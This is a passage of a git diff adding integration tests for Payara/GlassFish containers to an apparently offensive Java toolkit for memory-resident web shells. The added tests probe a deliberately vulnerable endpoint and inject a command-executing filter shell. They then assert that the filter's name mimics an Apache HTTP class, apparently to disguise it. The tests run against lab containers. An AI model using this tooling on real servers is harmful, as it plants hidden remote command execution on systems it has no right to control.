com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.BeforeAll; @@ -16,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -75,4 +82,24 @@ public class Payara520225ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getGlassFishFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getGlassFishFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java index a6056d33..0155ef61 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.BeforeAll; @@ -16,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -76,4 +83,24 @@ public class Payara620222ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V11); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getGlassFishFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.GlassFish, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V11, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getGlassFishFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.apache.http.web.handlers"))); + } }